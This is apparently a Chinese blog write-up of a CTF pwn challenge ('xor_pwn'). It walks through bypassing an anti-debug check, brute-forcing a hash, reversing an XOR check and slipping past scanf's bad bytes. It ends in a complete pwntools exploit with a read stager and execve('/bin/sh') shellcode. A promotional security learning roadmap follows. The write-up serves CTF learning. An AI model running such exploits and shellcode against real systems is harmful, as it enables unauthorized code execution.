web选手入门pwn(23)——xor_pwn

web选手入门pwn(23)——xor_pwn

先看main,似乎没有直接的溢出。

img

sub_804898F比较简单是限制长度450,重点看sub_80488C2。

img

看起来是输入符合条件的字符串游戏,最后进入a1+50执行shellcode,a1在栈上,那么看看保护。

img

果然是全关,gdb里执行一下。

img

诡异的事情发生了,居然会直接退出。这种情况可以用starti命令断最早的start,然后慢慢跟到__libc_start_main找原因。

img

最终可以发现,是start()->init()->init_proc()->sub_8048AC0()->ctor_001()存在反调试检测。

img

其中sub_8048AC0()->ctor_001()这一环可能不是很明显,在汇编中可以发现。

img

因此我们只需要patch一下就行了,这里最合适的当然是patch gdb的字符串。

img

接着开始分析sub_80488C2(),先来看第一部分限制。

img

strtol(x,x,10)是取十进制数,也就是a1得是个十进制数开头。转化完得到v4,v4%10 = 4,也就是个位数是4,v4-52000 <=999,也就是v4为52004到52994。

接着看第二部分,v5也是a1转化得到的,必须等于一个恒定值。

img

跟进去看看,发现是循环算法。

i = 130i =  33 * i + a1[0]i =  33 * i + a1[1]...

img

a1我们已经知道了是52004到52994,也就是要在本地写同样的算法跑100次,找个等于0x3319FAA0的出来。

先用52004尝试一下自己写的算法对不对。

flag = 857340576#0x3319FAA0def custom_hash(s):    i = 130    for c in s:        i = (33 * i + ord(c))    return ihash = custom_hash('52004')print(hash)print(hex(hash))

img

断点0x804893C,会发现溢出了一位,不好直接对比,因此脚本要稍微改改。

img

flag = 857340576#0x3319FAA0def custom_hash(s):    i = 130    for c in s:        i = (33 * i + ord(c)) & 0xFFFFFFFF    return ifor i in range(5200, 5300):    s = str(i)+"4"    if(custom_hash(s) == flag):        print(s)        break

得到第二部分的答案52214。

img

接着看第三部分,跟进sub_804881B()

img

img

很明显的异或,要求a1跟【h4ck】异或得到【Ev3ryb0dy’5_4|w4y5_w4171n6_0n_Fr1d4y】。a1不是恒定52214开头吗?断点0x8048956看栈。

img

这里endptr[0]刚好指的是52214之后,那么还是写脚本跑出异或之前的payload。

text = b"Ev3ryb0dy'5_4|w4y5_w4171n6_0n_Fr1d4y"key = b"h4ck"
def xor_encrypt(text, key):    encrypted = '';    key_len = len(key)    for i in range(len(text)):        a = text[i]        b = key[i % key_len]        hexab = str(hex(ord(a) ^ ord(b)))        if(len(hexab) < 4):            hexab = hexab.replace("0x","\\x0")        hexab = hexab.replace("0x","\\x")        encrypted += hexab    return encrypted
payload = xor_encrypt(text, key)print(payload) 

img

下个断点进gdb看看是不是正确的。

#!/usr/bin/env pythonfrom pwn import *#context.log_level = 'debug'sh = gdb.debug("./pwn","b *0x8048979\n c")#sh = process("./pwn")#sh = remote('xxx.xxx.xxx',60500)payload = "52214"payload  += "\x2d\x42\x50\x19\x11\x56\x53\x0f\x11\x13\x56\x34\x5c\x48\x14\x5f\x11\x01\x3c\x1c\x5c\x05\x54\x5a\x06\x02\x3c\x5b\x06\x6b\x25\x19\x59\x50\x57\x12"print(len(payload))sh.sendline(payload)sh.interactive()

img

img

非常完美,成功走到call eax,接着就是写shellcode栈内执行,显然shellcode也需要异或。这里由于是a1+50,算之前的52214\x2d\x42等等,还需要9位padding。

#text = b"Ev3ryb0dy'5_4|w4y5_w4171n6_0n_Fr1d4y"shellcode = "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"text =  "A" * 9text += shellcode

得到

img

然而断点后尴尬的发现,shellcode并没有写进去。

img

难道是有什么东西限制了长度吗?回看异或之后的shellcode,发现只写进去了一位,0x0b被抛弃了。

img

从头调试慢慢跟,来看【0x0b】到底是在哪里被抛弃的。

img

居然就是scanf,由于0x0b是空白字符,尝试一下其他空白字符0x20,0x09,0x0a,0x0c,0x0d均被截断,反而0x00不会被截断。由于我们输入的字符是shellcode跟h4ck异或过的,也就是说我们拥有多达4*6=24个坏字符!也许我们可以靠增加无意义汇编指令来保证有效指令只跟h4ck的一部分来异或,以此减少坏字符的数量,即使这样写shellcode也会非常麻烦。

因此这里需要极短的read二次写shellcode。

xor eax, eax        ; \x31\xc0push eax            ; \x50mov al, 3           ; \xb0\x03xor ebx, ebx        ; \x31\xdbmov ecx, esp        ; \x89\xe1mov dl, 0x7f        ; \xb2\x7fint 0x80            ; \xcd\x80jmp esp             ; \xff\xe4

成功进入shellcode执行。

img

最后send真正的shellcode即可。

#!/usr/bin/env pythonfrom pwn import *#context.log_level = 'debug'#sh = gdb.debug("./pwn","b *0x8048988\nb *0x80489DB\n c")sh = process("./pwn")#sh = remote('xxx.xxx.xxx',60500)
payload = "52214"payload += "\x2d\x42\x50\x19\x11\x56\x53\x0f\x11\x13\x56\x34\x5c\x48\x14\x5f\x11\x01\x3c\x1c\x5c\x05\x54\x5a\x06\x02\x3c\x5b\x06\x6b\x25\x19\x59\x50\x57\x12"payload += "\x29\x75\x22\x2a\x29\x75\x22\x2a\x29\x05\xa3\x3b\xd8\x37\x52\xb0\xe1\xd5\xd1\x14\xa5\xb4\x9c\x8f"shellcode = "\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80"
print(len(payload))sh.sendline(payload)sh.sendline(shellcode)sh.interactive()

img

img

网络安全学习路线&学习资源

在这里插入图片描述

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

“脚本小子”成长进阶资源领取

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

在这里插入图片描述

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值